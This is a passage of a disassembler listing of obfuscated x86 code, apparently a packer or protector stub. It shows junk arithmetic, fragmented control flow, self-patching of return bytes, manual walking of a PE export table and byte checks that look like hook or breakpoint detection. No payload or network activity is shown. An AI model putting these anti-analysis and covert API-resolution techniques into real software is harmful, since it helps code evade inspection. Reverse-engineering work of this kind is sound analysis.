loc_747191:				; CODE XREF: _0z4jwtox:00745AA0j
		xor	ebx, 0AEDA46A2h

; =============== S U B	R O U T	I N E =======================================



sub_747197	proc near		; CODE XREF: _0z4jwtox:00748854p
		xchg	edi, [esp+0]
		pop	edi
sub_747197	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_750C2D


loc_74719B:				; CODE XREF: sub_750C2D:loc_746102j
		push	0CFE72084h
		pop	esi
		jmp	loc_7495C9
; END OF FUNCTION CHUNK	FOR sub_750C2D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75079B


loc_7471A6:				; CODE XREF: sub_75079B:loc_7507A7j
		add	esi, 77E92336h
		or	esi, 0DAEB3914h
		and	esi, 36ED5F52h
		add	esi, 0E9879E51h
		xchg	esi, [esp+0]
		jmp	loc_74FBB6
; END OF FUNCTION CHUNK	FOR sub_75079B

; =============== S U B	R O U T	I N E =======================================



sub_7471C6	proc near		; CODE XREF: sub_750638+4CE2p
					; _0z4jwtox:007574F7j
		xchg	eax, [esp+0]
		pop	eax
		mov	edx, [ebp-104h]
		mov	dl, [edx]
		mov	[ebp+eax-100h],	dl
		push	offset loc_74F52D
		jmp	nullsub_30
sub_7471C6	endp


; =============== S U B	R O U T	I N E =======================================



sub_7471E3	proc near		; DATA XREF: sub_749980+B6ECo
		mov	dword ptr [ebp-20h], 0FFFFFFFFh
sub_7471E3	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_746640


loc_7471EA:				; CODE XREF: sub_746640+364Aj
		jno	loc_75567C
		cmp	dword ptr [ebp-20h], 0
		jge	loc_74FB54
		jmp	loc_75410B
; END OF FUNCTION CHUNK	FOR sub_746640
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75143A


loc_7471FF:				; CODE XREF: sub_75143A:loc_74915Cj
		jz	loc_755AA9
		jmp	loc_755BDF
; END OF FUNCTION CHUNK	FOR sub_75143A

; =============== S U B	R O U T	I N E =======================================



sub_74720A	proc near		; CODE XREF: sub_74AAC1:loc_74AC73j
					; _0z4jwtox:0075011Dj ...
		xchg	ecx, [esp+0]
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_74720A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_749010


loc_747211:				; CODE XREF: sub_749010:loc_74EC52j
		jmp	loc_75087B
; END OF FUNCTION CHUNK	FOR sub_749010
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7558D0


loc_747216:				; CODE XREF: sub_7558D0-E617j
		jmp	loc_7569B2
; END OF FUNCTION CHUNK	FOR sub_7558D0

; =============== S U B	R O U T	I N E =======================================



sub_74721B	proc near		; CODE XREF: sub_74F15D-4D62p
					; _0z4jwtox:loc_74A969j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0074626A SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00746E2D SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00748B07 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 007497D0 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0074B63E SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0074C099 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0074D985 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074DB18 SIZE 0000000D BYTES

		push	eax
		mov	eax, ebp
		jmp	loc_7497D0
sub_74721B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748538


loc_747223:				; CODE XREF: sub_748538+14j
		pop	ecx


loc_747224:				; CODE XREF: _0z4jwtox:0074F4D7j
		xor	edx, 43DEAF91h
		add	edx, ebp
		add	edx, 52D589DFh
		mov	edx, [edx]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jmp	loc_756357
; END OF FUNCTION CHUNK	FOR sub_748538
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74F78B


loc_74723D:				; CODE XREF: sub_74F78B+21j
		pop	ecx
		lea	eax, loc_74DCA0
		mov	byte ptr [eax],	0C3h
		jmp	loc_747374
; END OF FUNCTION CHUNK	FOR sub_74F78B

; =============== S U B	R O U T	I N E =======================================



sub_74724C	proc near		; CODE XREF: sub_41BDAF+Cp
					; _0z4jwtox:0075077Fj
					; DATA XREF: ...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00745C3E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00748F85 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0074F170 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0074F395 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0075078A SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00753CDB SIZE 00000018 BYTES
; FUNCTION CHUNK AT 007540B8 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00754F92 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00755EB3 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0075636C SIZE 00000021 BYTES

		push	edx
		push	4E1AE112h
		pop	edx
		jmp	loc_74F170
sub_74724C	endp


; =============== S U B	R O U T	I N E =======================================



sub_747258	proc near		; CODE XREF: sub_757269j
					; DATA XREF: sub_757251+Eo
		imul	byte ptr [edx]
		cmp	al, 0A4h
sub_747258	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_75275A


loc_74725C:				; CODE XREF: sub_75275A:loc_7524A4j
		jz	loc_755EEB


loc_747262:				; CODE XREF: _0z4jwtox:loc_746ECCj
		jmp	loc_74E20F
; END OF FUNCTION CHUNK	FOR sub_75275A
; ---------------------------------------------------------------------------
		mov	ds:dword_41F174, eax
		lea	eax, nullsub_24
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_24

; =============== S U B	R O U T	I N E =======================================



sub_74727B	proc near		; CODE XREF: sub_41BDCB+Cp
					; sub_74727B+5j
					; DATA XREF: ...
		call	sub_747290
		jmp	ds:off_41F178
sub_74727B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74D1F3


loc_747286:				; CODE XREF: sub_74D1F3+3A32j
		jmp	loc_74C7F3
; END OF FUNCTION CHUNK	FOR sub_74D1F3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_757151


loc_74728B:				; CODE XREF: sub_757151-8E73j
		jmp	loc_74E33B
; END OF FUNCTION CHUNK	FOR sub_757151

; =============== S U B	R O U T	I N E =======================================



sub_747290	proc near		; CODE XREF: sub_74727Bp
					; _0z4jwtox:007476EFj ...

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00745CA4 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0074A08F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074C13C SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0074C6C7 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0074D141 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0074D1D7 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0074F123 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0074F4F8 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00750B82 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 00752A0F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00756C74 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0075741D SIZE 00000005 BYTES

		pop	edx
		jmp	loc_75741D
sub_747290	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748C0D


loc_747296:				; CODE XREF: sub_748C0D+4989j
		call	sub_753176
; END OF FUNCTION CHUNK	FOR sub_748C0D
; START	OF FUNCTION CHUNK FOR sub_752B0C


loc_74729B:				; CODE XREF: sub_752B0C:loc_74D74Fj
		add	esp, 8


loc_74729E:				; CODE XREF: _0z4jwtox:loc_756E28j
		movzx	eax, word ptr [eax]
		shl	eax, 2
		mov	edx, [ebp-14h]
		mov	edx, [edx+1Ch]
		jmp	loc_74EE03
; END OF FUNCTION CHUNK	FOR sub_752B0C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7558D0


loc_7472AF:				; CODE XREF: sub_7558D0-488Cj
					; sub_7558D0-4883j
		xor	ecx, 90CA3CBBh
		popf
		sub	eax, ecx
		pop	ecx
		jmp	loc_747216
; END OF FUNCTION CHUNK	FOR sub_7558D0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747AEC


loc_7472BE:				; CODE XREF: sub_747AECj
		push	0C15C7A19h
		pop	eax
		jmp	loc_751624
; END OF FUNCTION CHUNK	FOR sub_747AEC

; =============== S U B	R O U T	I N E =======================================



sub_7472C9	proc near		; DATA XREF: _0z4jwtox:00755516o
		push	5D600D14h
		pop	ecx
		or	ecx, 0FCF6F020h
		add	ecx, 18117679h
		or	ecx, 0D15B3982h
		jmp	loc_74EE0D
sub_7472C9	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74DAAF


loc_7472E6:				; CODE XREF: sub_74DAAF-3418j
		xchg	edx, [esp+4+var_4]
		jmp	sub_746E93
; END OF FUNCTION CHUNK	FOR sub_74DAAF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_753FCE


loc_7472EE:				; CODE XREF: sub_753FCE+204Cj
		adc	ebp, 0EEBB1EC1h
		cdq
		add	esi, 5DCF283Ah


loc_7472FB:				; CODE XREF: sub_753FCE:loc_74B103j
					; sub_74BD6F+4j ...
		jmp	loc_75249F
; END OF FUNCTION CHUNK	FOR sub_753FCE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_752520


loc_747300:				; CODE XREF: sub_753FCE-18FCj
					; sub_752520+2452j
		call	sub_74D4C5


loc_747305:				; CODE XREF: _0z4jwtox:00746DF4j
		jmp	loc_74EDDC
; END OF FUNCTION CHUNK	FOR sub_752520
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74E11E


loc_74730A:				; CODE XREF: sub_74E11E+10j
		rol	edx, 0Bh


loc_74730D:				; CODE XREF: _0z4jwtox:loc_74F3C0j
		xor	edx, 4DE7F2BEh
		rol	edx, 0Fh
		add	edx, 125A6888h
		jmp	loc_74A88E
; END OF FUNCTION CHUNK	FOR sub_74E11E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74CF35


loc_747321:				; CODE XREF: sub_74CF35:loc_74AAAFj
		call	sub_74FA8F
		jnz	loc_745A59
		mov	ecx, [ebx+edx-4]
		or	ecx, ecx
		jz	loc_754B5C
		jmp	loc_747F5D
; END OF FUNCTION CHUNK	FOR sub_74CF35
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748723


loc_74733D:				; CODE XREF: sub_748723-22B6j
		cmp	byte ptr [eax],	0F1h
		jnz	loc_74F302
		jmp	loc_74EBC1
; END OF FUNCTION CHUNK	FOR sub_748723
; ---------------------------------------------------------------------------
		mov	ds:dword_41F0B0, eax
		lea	eax, nullsub_15
		mov	byte ptr [eax],	0C3h
		jmp	loc_752519
; ---------------------------------------------------------------------------
		xchg	eax, [esp]
		mov	edx, eax
		jmp	loc_7573AC
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_38. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747AEC


loc_74736A:				; CODE XREF: sub_747AEC+5F92j
		jmp	loc_7569A3
; END OF FUNCTION CHUNK	FOR sub_747AEC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747968


loc_74736F:				; CODE XREF: sub_747968+5j
		jmp	loc_74C18F
; END OF FUNCTION CHUNK	FOR sub_747968
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74F78B


loc_747374:				; CODE XREF: sub_74F78B-8544j
		jmp	loc_74DCA0
; END OF FUNCTION CHUNK	FOR sub_74F78B

; =============== S U B	R O U T	I N E =======================================



sub_747379	proc near		; CODE XREF: _0z4jwtox:00753124p
					; _0z4jwtox:00756F62j

; FUNCTION CHUNK AT 007468DB SIZE 0000000F BYTES

		xchg	edi, [esp+0]
		pop	edi
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0E8h
		jmp	loc_7468DB
sub_747379	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74A71A


loc_747388:				; CODE XREF: sub_74A71A+Aj
		jns	loc_74FAE1
		inc	dword ptr [ebp-20h]
		mov	eax, [ebp-1Ch]
		push	offset loc_747561
		jmp	nullsub_43
; END OF FUNCTION CHUNK	FOR sub_74A71A
; ---------------------------------------------------------------------------


loc_74739E:				; CODE XREF: _0z4jwtox:loc_751FD5j
		ror	edi, 14h
		ja	loc_748893
		jmp	sub_74BED4
; ---------------------------------------------------------------------------
		push	7EDD6C4Bh
		jmp	sub_74CD80
; ---------------------------------------------------------------------------


loc_7473B6:				; CODE XREF: _0z4jwtox:007465BDj
		sbb	edi, 47B5AE10h
		jmp	loc_745667
; ---------------------------------------------------------------------------


loc_7473C1:				; CODE XREF: _0z4jwtox:00750576j
		push	edx
		pop	ebp
		xchg	ebp, [esp]
		push	edx
		jmp	loc_74ACF5
; ---------------------------------------------------------------------------


loc_7473CC:				; CODE XREF: _0z4jwtox:0074AFCFj
		push	5D91A9FCh

; =============== S U B	R O U T	I N E =======================================



sub_7473D1	proc near		; CODE XREF: sub_74F615+5702p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 007451AF SIZE 00000012 BYTES
; FUNCTION CHUNK AT 007451C9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074716B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00747F08 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 007495C4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074E2E3 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0074E976 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074EC6F SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0074F043 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0074F649 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0074F9BB SIZE 00000018 BYTES
; FUNCTION CHUNK AT 007506E2 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00751538 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0075215A SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0075276D SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00754AC1 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 007550A6 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00756D89 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00757454 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 007575BC SIZE 00000005 BYTES

		xchg	esi, [esp+0]
		pop	esi
		add	eax, [ebp-18h]
		cmp	eax, [ebp-10h]
		jbe	loc_75276D
		jmp	loc_74716B
sub_7473D1	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_7473E6	proc near		; CODE XREF: _0z4jwtox:00749301j
					; sub_750638:loc_755818p

; FUNCTION CHUNK AT 00747AFC SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00748AE2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074A5F6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074B48C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0074B569 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0074DB3B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0074EE8E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00756B06 SIZE 00000005 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		xor	edx, 0DF93A80Ah
		add	edx, ebp
		add	edx, 0CE7CD3DCh
		jmp	loc_74A5F6
sub_7473E6	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_7473FD:				; CODE XREF: _0z4jwtox:0074E7DCj
					; _0z4jwtox:0074E7F2j
		add	edx, 46FB1A7Bh
		xchg	edx, [esp]
		jmp	locret_749DA6
; ---------------------------------------------------------------------------
		shl	esi, 2
		jmp	sub_745183
; ---------------------------------------------------------------------------


loc_747413:				; CODE XREF: _0z4jwtox:007477F7j
		cdq
		push	815D9F17h
		test	eax, 0BEE5CE2h
		jmp	loc_7524CB
; ---------------------------------------------------------------------------


loc_747424:				; CODE XREF: _0z4jwtox:00750F7Ej
		jbe	loc_748EF6

; =============== S U B	R O U T	I N E =======================================



sub_74742A	proc near		; CODE XREF: sub_74C670+3F41p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0074B481 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0075106E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 007514DF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 007544DE SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00755BFE SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00756EAB SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00756FD7 SIZE 0000000B BYTES

		xchg	eax, [esp+0]
		pop	eax
		cmp	byte ptr [eax],	0F1h
		jnz	loc_755BFE
		jmp	loc_7514DF
sub_74742A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74C1D8


loc_74743C:				; CODE XREF: sub_74C1D8:loc_74EC6Aj
		or	esi, 8C56B113h
		and	esi, 0F1CCA04Ah
		rol	esi, 11h
		add	esi, 0C05F8869h
		jmp	loc_747127
; END OF FUNCTION CHUNK	FOR sub_74C1D8
; ---------------------------------------------------------------------------
		mov	edx, ds:dword_74B938
		mov	ebx, [edx]
		sub	ebx, eax
		mov	ecx, [ebp-4]
		mov	eax, 1
		shl	eax, cl
		not	eax
		jmp	loc_753D09
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_228. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74A372


loc_747472:				; CODE XREF: sub_74A372+A81Dj
					; DATA XREF: .data:off_42CAECo
		jmp	loc_750D5C
; END OF FUNCTION CHUNK	FOR sub_74A372
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74AE46


loc_747477:				; CODE XREF: sub_74AE46:loc_74BAF0j
		jnz	loc_74F1D4
; END OF FUNCTION CHUNK	FOR sub_74AE46
; START	OF FUNCTION CHUNK FOR sub_74A96E


loc_74747D:				; CODE XREF: sub_74A96E+94E0j
		jmp	loc_74CCDD
; END OF FUNCTION CHUNK	FOR sub_74A96E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75364C


loc_747482:				; CODE XREF: sub_75364C-8891j
		jmp	loc_74FE1C
; END OF FUNCTION CHUNK	FOR sub_75364C
; ---------------------------------------------------------------------------
		sbb	edi, 0B17B9221h
		and	ebp, edi
		and	eax, edi
		jmp	loc_750515
; ---------------------------------------------------------------------------


loc_747496:				; DATA XREF: _0z4jwtox:007493E6o
		add	eax, 990940D4h
		xchg	eax, [esp]
		jmp	loc_746ACB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_745644


loc_7474A4:				; CODE XREF: sub_745644+6j
		pop	edi
		xor	edi, 3F414753h
		add	edi, 0A0B63F5h
		xchg	edi, [esp+4+var_4]
		jmp	loc_754264
; END OF FUNCTION CHUNK	FOR sub_745644

; =============== S U B	R O U T	I N E =======================================



sub_7474B9	proc near		; CODE XREF: _0z4jwtox:0074C78Dj
					; sub_7474B9+D4D8p

var_8		= dword	ptr -8
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0074531A SIZE 0000000D BYTES
; FUNCTION CHUNK AT 007453CB SIZE 00000015 BYTES
; FUNCTION CHUNK AT 007465FD SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00746FAF SIZE 0000000E BYTES
; FUNCTION CHUNK AT 007481C5 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 007493A8 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0074C4E0 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0074D995 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074DDA5 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0074F10A SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0074F2CD SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0074F6F3 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0074F93B SIZE 00000010 BYTES
; FUNCTION CHUNK AT 007501FD SIZE 00000005 BYTES
; FUNCTION CHUNK AT 007520C8 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00752F44 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00754643 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0075498B SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00754BD6 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00755764 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00756932 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00757183 SIZE 0000000E BYTES

		xchg	eax, [esp+8+var_8]
		pop	eax
		mov	eax, [esp+0]
		push	ecx
		mov	ecx, edx
		xchg	ecx, [esp+8+var_8]
		call	sub_754A3D
		push	0F8EB1656h
		jmp	loc_74C4E0
sub_7474B9	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_749088


loc_7474D5:				; CODE XREF: sub_749088+1Dj
		add	eax, 67CB45Fh
		xchg	eax, [esp+0]
		jmp	sub_754A3D
; END OF FUNCTION CHUNK	FOR sub_749088

; =============== S U B	R O U T	I N E =======================================



sub_7474E3	proc near		; CODE XREF: _0z4jwtox:00750832p
					; _0z4jwtox:00752906j

arg_0		= dword	ptr  4

		xchg	esi, [esp+0]
		pop	esi
		xchg	edi, [esp-4+arg_0]
		jmp	sub_746E93
sub_7474E3	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_7474EF:				; CODE XREF: _0z4jwtox:00746177j
		ja	loc_746676

; =============== S U B	R O U T	I N E =======================================



sub_7474F5	proc near		; CODE XREF: sub_74E7AE:loc_756E79p

; FUNCTION CHUNK AT 00749FC6 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0074B2BB SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00756591 SIZE 00000005 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		mov	eax, [ebp-10h]
		mov	eax, [eax+60h]
		add	eax, [ebp-4]
		mov	[ebp-14h], eax
		jmp	loc_756591
sub_7474F5	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75043C


loc_74750A:				; CODE XREF: sub_75043C+10C6j
		mov	ecx, [ebx+3Ch]
		mov	ecx, [ebx+ecx+78h]
		or	ecx, ecx
		jz	loc_748342
		mov	ecx, [ebx+ecx+0Ch]
		jmp	loc_74D0E9
; END OF FUNCTION CHUNK	FOR sub_75043C
; ---------------------------------------------------------------------------
		jnb	loc_74EC52
		jmp	sub_745C5B
; ---------------------------------------------------------------------------


loc_74752D:				; CODE XREF: _0z4jwtox:00750A92j
		xor	edi, ebx
		and	eax, 0B9A236D6h


loc_747535:				; CODE XREF: _0z4jwtox:loc_7456EEj
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_74F77B
		jmp	loc_749BD2

; =============== S U B	R O U T	I N E =======================================



sub_747546	proc near		; CODE XREF: _0z4jwtox:00748517p
					; _0z4jwtox:007491E6j

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0074A4C4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 007540E3 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00754800 SIZE 0000000A BYTES

		xchg	edi, [esp+0]
		pop	edi
		push	894996BBh
		pop	ecx
		sub	ecx, 7EFFDF06h
		add	ecx, 0F62AC3DFh
		jmp	loc_74A4C4
sub_747546	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_747561:				; DATA XREF: sub_74A71A-3386o
		mov	eax, ds:dword_75162C[eax*4]
		mov	[ebp-8], eax
		cmp	dword ptr [ebp-8], 0
		push	offset sub_74FAD6
		jmp	locret_74D40D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74673E


loc_747579:				; CODE XREF: sub_74673E+9FF8j
		js	loc_750069
		shr	ebx, 13h
; END OF FUNCTION CHUNK	FOR sub_74673E
; START	OF FUNCTION CHUNK FOR sub_7490F6


loc_747582:				; CODE XREF: sub_7490F6:loc_74EE3Ej
		jno	loc_7468CA


loc_747588:				; CODE XREF: sub_74673E:loc_7553D2j
		call	sub_7500AE
		mov	edx, 0DDABAF17h
		call	sub_74B525
		jmp	loc_755F72
; END OF FUNCTION CHUNK	FOR sub_7490F6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7475CB


loc_74759C:				; CODE XREF: sub_7475CB:loc_7493BDj
		jz	loc_753B07
		jmp	loc_748946
; END OF FUNCTION CHUNK	FOR sub_7475CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_749EC9


loc_7475A7:				; CODE XREF: sub_749EC9+2Ej
		jl	loc_75467F
; END OF FUNCTION CHUNK	FOR sub_749EC9
; START	OF FUNCTION CHUNK FOR sub_74673E


loc_7475AD:				; CODE XREF: sub_74673E+32BAj
		jmp	loc_756AE1
; END OF FUNCTION CHUNK	FOR sub_74673E
; ---------------------------------------------------------------------------
		cmp	edx, 6763F6E7h
		jmp	loc_754677
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_756826


loc_7475BD:				; CODE XREF: sub_756826-9EBj
		jnp	loc_755CCA
		or	ecx, edi
		jmp	loc_747FAF
; END OF FUNCTION CHUNK	FOR sub_756826
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_34. PRESS	KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_7475CB	proc near		; CODE XREF: _0z4jwtox:007492D2j
					; sub_754FC6-845Cp

; FUNCTION CHUNK AT 0074759C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00748946 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 007490E9 SIZE 00000003 BYTES
; FUNCTION CHUNK AT 007493B3 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0074B10E SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0074B675 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0074C12D SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0074F481 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00753AFF SIZE 00000016 BYTES

		xchg	esi, [esp+0]
		pop	esi
		call	sub_752E0F
		lea	eax, [ebp-14h]
		push	eax
		jmp	loc_7493B3
sub_7475CB	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_7475DD	proc near		; CODE XREF: sub_754FC6+3j

; FUNCTION CHUNK AT 007492D7 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0074CC1E SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00754DD0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00756B1B SIZE 0000001A BYTES

		add	esp, 0FFFFFFECh
		mov	eax, offset dword_7575C4
		call	sub_745BF7
		jmp	loc_7492D7
sub_7475DD	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_101. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747C22


loc_7475F0:				; CODE XREF: sub_747C22+DDB1j
		jmp	loc_74CB21
; END OF FUNCTION CHUNK	FOR sub_747C22
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74F9E6


loc_7475F5:				; CODE XREF: sub_74F9E6+7j
		push	4DE3174Eh
		pop	esi
		and	esi, 0F846EE63h
; END OF FUNCTION CHUNK	FOR sub_74F9E6
; START	OF FUNCTION CHUNK FOR sub_74D782


loc_747601:				; CODE XREF: sub_74D782:loc_749D85j
		add	esi, 19E320EBh
		add	eax, esi
		pop	esi
		mov	eax, [eax]
		push	offset sub_7453AD
		jmp	loc_75407A
; END OF FUNCTION CHUNK	FOR sub_74D782
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7514AC


loc_747616:				; CODE XREF: sub_7514AC-9275j
		jz	loc_7556F9
		jmp	loc_74E3AC
; END OF FUNCTION CHUNK	FOR sub_7514AC
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_142. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_747622	proc near		; CODE XREF: _0z4jwtox:00746FAAj
					; _0z4jwtox:00755DD5p

; FUNCTION CHUNK AT 00752A2B SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00754958 SIZE 00000008 BYTES

		xchg	eax, [esp+0]
		pop	eax
		mov	eax, [ebp-18h]
		jmp	loc_752A2B
sub_747622	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_746CC3


loc_74762E:				; CODE XREF: sub_746CC3+Fj
		adc	edx, [esp+arg_0]
		add	esp, 8
		jmp	loc_755905
; END OF FUNCTION CHUNK	FOR sub_746CC3

; =============== S U B	R O U T	I N E =======================================



sub_74763A	proc near		; DATA XREF: _0z4jwtox:0074CFADo

arg_0		= dword	ptr  4

